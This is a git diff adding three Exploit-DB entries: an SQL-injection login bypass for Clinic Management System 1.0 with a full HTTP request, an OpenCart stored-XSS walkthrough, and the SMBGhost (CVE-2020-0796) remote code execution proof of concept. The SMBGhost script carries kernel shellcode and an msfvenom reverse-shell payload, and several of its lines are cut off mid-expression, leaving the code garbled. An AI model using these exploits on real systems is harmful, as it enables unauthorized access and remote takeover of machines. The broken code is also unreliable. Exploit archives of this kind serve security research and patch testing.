diff --git a/exploits/php/webapps/48538.txt b/exploits/php/webapps/48538.txt new file mode 100644 index 000000000..174a13be9 --- /dev/null +++ b/exploits/php/webapps/48538.txt @@ -0,0 +1,42 @@ +# Exploit Title: Clinic Management System 1.0 - Authentication Bypass +# Google Dork: N/A +# Date: 2020-06-02 +# Exploit Author: BKpatron +# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html +# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip +# Version: v1.0 +# Tested on: Win 10 +# CVE: N/A +# my website: bkpatron.com + +# Vulnerability: Attacker can bypass login page and access to dashboard page +# vulnerable file : login.php +# Parameter & Payload: '=''or' +# Proof of Concept: +http://localhost/source%20code/login.php + +POST /source%20code/login.php HTTP/1.1 +Host: localhost +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded +Content-Length: 72 +Referer: http://localhost/source%20code/login.php +Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1 +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +user=admin&email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&btn_login=: undefined + +HTTP/1.1 200 OK +Date: Mon, 01 Jun 2020 19:52:17 GMT +Server: Apache/2.4.39 (Win64) PHP/7.2.18 +X-Powered-By: PHP/7.2.18 +Expires: Thu, 19 Nov 1981 08:52:00 GMT +Cache-Control: no-store, no-cache, must-revalidate +Pragma: no-cache +Content-Length: 4726 +Keep-Alive: timeout=5, max=100 +Connection: Keep-Alive +Content-Type: text/html; charset=UTF-8 \ No newline at end of file diff --git a/exploits/php/webapps/48539.txt b/exploits/php/webapps/48539.txt new file mode 100644 index 000000000..cf949f330 --- /dev/null +++ b/exploits/php/webapps/48539.txt @@ -0,0 +1,15 @@ +# Exploit Title: OpenCart 3.0.3.2 - Stored Cross Site Scripting (Authenticated) +# Date: 2020-06-01 +# Exploit Author: Kailash Bohara +# Vendor Homepage: https://www.opencart.com +# Software Link: https://www.opencart.com/index.php?route=cms/download +# Version: OpenCart < 3.0.3.2 +# CVE : CVE-2020-10596 + +1. Go to localhost.com/opencart/admin and login with credentials. + +2. Then navigate to System>Users>Users and click on Action button on top right corner. + +3. Now in image field , click on image and upload a new image. Before this select any image file and rename with this XSS payload "> and then upload it as new user profile image. + +4. After the upload completes the XSS pop-up executes as shown below and it will gets executed each time someone visits the Image manager section. \ No newline at end of file diff --git a/exploits/windows/remote/48537.py b/exploits/windows/remote/48537.py new file mode 100755 index 000000000..fae1d25e2 --- /dev/null +++ b/exploits/windows/remote/48537.py @@ -0,0 +1,513 @@ +#!/usr/bin/env python +''' +# EDB Note ~ Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/48537.zip + +# SMBGhost_RCE_PoC + +RCE PoC for CVE-2020-0796 "SMBGhost" + +For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other than self education is an extremely bad idea. Your computer will burst in flames. Puppies will die. + +Now that that's out of the way.... + +Usage ex: + +``` +$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131 +[+] found low stub at phys addr 13000! +[+] PML4 at 1ad000 +[+] base of HAL heap at fffff79480000000 +[+] ntoskrnl entry at fffff80645792010 +[+] found PML4 self-ref entry 1eb +[+] found HalpInterruptController at fffff79480001478 +[+] found HalpApicRequestInterrupt at fffff80645cb3bb0 +[+] built shellcode! +[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 +[+] KUSER_SHARED_DATA PTE NX bit cleared! +[+] Wrote shellcode at fffff78000000a00! +[+] Press a key to execute shellcode! +[+] overwrote HalpInterruptController pointer, should have execution shortly... +``` + +Replace payload in USER_PAYLOAD in exploit.py. Max of 600 bytes. If you want more, modify the kernel shell code yourself. + +lznt1 code from [here](https://github.com/you0708/lznt1). Modified to add a "bad compression" function to corrupt SRVNET buffer +header without causing a crash. + +See this excellent write up by Ricera Security for more details on the methods I used: +https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html +''' + +import sys +import socket +import struct +import argparse + +from lznt1 import compress, compress_evil +from smb_win import smb_negotiate, smb_compress + +# Use lowstub jmp bytes to signature search +LOWSTUB_JMP = 0x1000600E9 +# Offset of PML4 pointer in lowstub +PML4_LOWSTUB_OFFSET = 0xA0 +# Offset of lowstub virtual address in lowstub +SELFVA_LOWSTUB_OFFSET = 0x78 +# Offset of NTOSKRNL entry address in lowstub +NTENTRY_LOWSTUB_OFFSET = 0x278 + +# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController +HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78 + +KUSER_SHARED_DATA = 0xFFFFF78000000000 + +# Offset of pNetRawBuffer in SRVNET_BUFFER_HDR +PNET_RAW_BUFF_OFFSET = 0x18 +# Offset of pMDL1 in SRVNET_BUFFER_HDR +PMDL1_OFFSET = 0x38 + +# Shellcode from kernel_shellcode.asm + +KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C" +KERNEL_SHELLCODE += b"\x8D\x35\xA0\x02\x00\x00\x49\x8B\x86\xD0\x00\x00\x00\x49\x8B\x9E" +KERNEL_SHELLCODE += b"\xD8\x00\x00\x00\x48\x89\x18\xFB\x49\x8B\x86\xE0\x00\x00\x00\x48" +KERNEL_SHELLCODE += b"\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49\x89\xC7\x4D" +KERNEL_SHELLCODE += b"\x89\xBE\xE0\x00\x00\x00\xBF\x78\x7C\xF4\xDB\xE8\xDA\x00\x00\x00" +KERNEL_SHELLCODE += b"\x49\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x2E\x01\x00\x00\x48\x89\xC1" +KERNEL_SHELLCODE += b"\xBF\xE1\x14\x01\x17\xE8\x21\x01\x00\x00\x48\x89\xC2\x48\x83\xC2" +KERNEL_SHELLCODE += b"\x08\x49\x8D\x74\x0D\x00\xE8\xFF\x00\x00\x00\x3D\xD8\x83\xE0\x3E" +KERNEL_SHELLCODE += b"\x74\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18" +KERNEL_SHELLCODE += b"\xB8\x4C\x89\xE9\xE8\x91\x00\x00\x00\x49\x89\x06\x4D\x8B\x4D\x30" +KERNEL_SHELLCODE += b"\x4D\x8B\x45\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81" +KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C" +KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\xF8\x02\x00\x00\x75\xDE" +KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x40\x49\x8D\x4E\x08\x48\x89\xF2\x4D\x31\xC0\x4C" +KERNEL_SHELLCODE += b"\x8D\x0D\xB9\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C" +KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x2F\x00\x00\x00\x48\x83\xC4\x40\x49" +KERNEL_SHELLCODE += b"\x8D\x4E\x08\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x19\x00\x00" +KERNEL_SHELLCODE += b"\x00\x48\x83\xC4\x20\xFA\x48\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E" +KERNEL_SHELLCODE += b"\x41\x5F\x41\x5D\x41\x59\x41\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF" +KERNEL_SHELLCODE += b"\xE0\x53\x51\x56\x41\x8B\x47\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00" +KERNEL_SHELLCODE += b"\x00\x4C\x01\xF8\x50\x8B\x48\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9" +KERNEL_SHELLCODE += b"\x8B\x34\x8B\x4C\x01\xFE\xE8\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58" +KERNEL_SHELLCODE += b"\x8B\x58\x24\x4C\x01\xFB\x66\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB" +KERNEL_SHELLCODE += b"\x8B\x04\x8B\x4C\x01\xF8\x5E\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1" +KERNEL_SHELLCODE += b"\xCA\x0D\x01\xC2\x85\xC0\x75\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF" +KERNEL_SHELLCODE += b"\x80\x78\x02\x80\x77\x05\x0F\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41" +KERNEL_SHELLCODE += b"\x57\x41\x56\x57\x56\x48\x8B\x05\x0A\x01\x00\x00\x48\x8B\x48\x18" +KERNEL_SHELLCODE += b"\x48\x8B\x49\x20\x48\x8B\x09\x66\x83\x79\x48\x18\x75\xF6\x48\x8B" +KERNEL_SHELLCODE += b"\x41\x50\x81\x78\x0C\x33\x00\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF" +KERNEL_SHELLCODE += b"\x5E\x51\x5E\x83\xE8\x58\xFF\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xB3" +KERNEL_SHELLCODE += b"\x01\x00\x00\x31\xC0\x44\x0F\x22\xC0\x48\x8D\x15\x8E\x01\x00\x00" +KERNEL_SHELLCODE += b"\x89\xC1\x48\xF7\xD1\x49\x89\xC0\xB0\x40\x50\xC1\xE0\x06\x50\x49" +KERNEL_SHELLCODE += b"\x89\x01\x48\x83\xEC\x20\xBF\xEA\x99\x6E\x57\xE8\x1A\xFF\xFF\xFF" +KERNEL_SHELLCODE += b"\x48\x83\xC4\x30\x48\x8B\x3D\x63\x01\x00\x00\x48\x8D\x35\x77\x00" +KERNEL_SHELLCODE += b"\x00\x00\xB9\x1D\x00\x00\x00\xF3\xA4\x48\x8D\x35\x6E\x01\x00\x00" +KERNEL_SHELLCODE += b"\xB9\x58\x02\x00\x00\xF3\xA4\x48\x8D\x0D\xD8\x00\x00\x00\x65\x48" +KERNEL_SHELLCODE += b"\x8B\x14\x25\x88\x01\x00\x00\x4D\x31\xC0\x4C\x8D\x0D\x46\x00\x00" +KERNEL_SHELLCODE += b"\x00\x41\x50\x6A\x01\x48\x8B\x05\x22\x01\x00\x00\x50\x41\x50\x48" +KERNEL_SHELLCODE += b"\x83\xEC\x20\xBF\xC4\x5C\x19\x6D\xE8\xBD\xFE\xFF\xFF\x48\x83\xC4" +KERNEL_SHELLCODE += b"\x40\x48\x8D\x0D\x9E\x00\x00\x00\x4C\x89\xF2\x4D\x31\xC9\xBF\x34" +KERNEL_SHELLCODE += b"\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x9E\xFE\xFF\xFF\x48\x83\xC4\x20" +KERNEL_SHELLCODE += b"\x5E\x5F\x41\x5E\x41\x5F\xC3\x90\xC3\x48\x92\x31\xC9\x51\x51\x49" +KERNEL_SHELLCODE += b"\x89\xC9\x4C\x8D\x05\x0D\x00\x00\x00\x89\xCA\x48\x83\xEC\x20\xFF" +KERNEL_SHELLCODE += b"\xD0\x48\x83\xC4\x30\xC3\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x00" +KERNEL_SHELLCODE += b"\x00\x00\x00\x00\x00\x00" + +# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit? + +USER_PAYLOAD = b"" +USER_PAYLOAD += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" +USER_PAYLOAD += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" +USER_PAYLOAD += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" +USER_PAYLOAD += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" +USER_PAYLOAD += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" +USER_PAYLOAD += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" +USER_PAYLOAD += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" +USER_PAYLOAD += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" +USER_PAYLOAD += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" +USER_PAYLOAD += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" +USER_PAYLOAD += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" +USER_PAYLOAD += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" +USER_PAYLOAD += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" +USER_PAYLOAD += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" +USER_PAYLOAD += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +USER_PAYLOAD += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32" +USER_PAYLOAD += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec" +USER_PAYLOAD += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x7a\x69" +USER_PAYLOAD += b"\xc0\xa8\x8e\x01\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41" +USER_PAYLOAD += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01" +USER_PAYLOAD += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50" +USER_PAYLOAD += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48" +USER_PAYLOAD += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" +USER_PAYLOAD += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9" +USER_PAYLOAD += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02" +USER_PAYLOAD += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41" +USER_PAYLOAD += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a" +USER_PAYLOAD += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" +USER_PAYLOAD += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50" +USER_PAYLOAD += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" +USER_PAYLOAD += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86" +USER_PAYLOAD += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08" +USER_PAYLOAD += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6" +USER_PAYLOAD += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a" +USER_PAYLOAD += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59" +USER_PAYLOAD += b"\x41\x89\xda\xff\xd5" + + +PML4_SELFREF = 0 +PHAL_HEAP = 0 +PHALP_INTERRUPT = 0 +PHALP_APIC_INTERRUPT = 0 +PNT_ENTRY = 0 + +max_read_retry = 3 +overflow_val = 0x1100 +write_unit = 0xd0 +pmdl_va = KUSER_SHARED_DATA + 0x900 +pmdl_mapva = KUSER_SHARED_DATA + 0x800 +pshellcodeva = KUSER_SHARED_DATA + 0xa00 + + +class MDL: + def __init__(self, map_va, phys_addr): + self.next = struct.pack("> 12 + self.phys_addr1 = struct.pack("> (40 - 1))) + pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1))) + pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1))) + pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1))) + + pml4e = PML4 + pml4_index*0x8 + pdpt_buff = read_physmem_primitive(ip, port, pml4e) + + if pdpt_buff is None: + sys.exit("[-] physical read primitive failed") + + pdpt = struct.unpack("> 9 + lb = (0xFFFF << 48) | (PML4_SELFREF << 39) + ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) + + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8 + pt = pt | lb + pt = pt & ub + + return pt + + +def overwrite_pte(ip, port, addr): + phys_addr = get_phys_addr(ip, port, addr) + + buff = read_physmem_primitive(ip, port, phys_addr) + + if buff is None: + sys.exit("[-] read primitive failed!") + + pte_val = struct.unpack(" 3: + PHALP_INTERRUPT = index + i - 0x40 + print("[+] found HalpInterruptController at %lx" + % PHALP_INTERRUPT) + + if len(buff) < i + 0x40: + buff = read_physmem_primitive(ip, port, index + i + 0x38) + PHALP_APIC_INTERRUPT = struct.unpack("> 3 + + print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF) + + +def find_low_stub(ip, port): + global PML4 + global PHAL_HEAP + global PNT_ENTRY + + limit = 0x100000 + index = 0x1000 + + while index < limit: + buff = read_physmem_primitive(ip, port, index) + + if buff is None: + sys.exit("[-] physical read primitive failed!") + + entry = struct.unpack("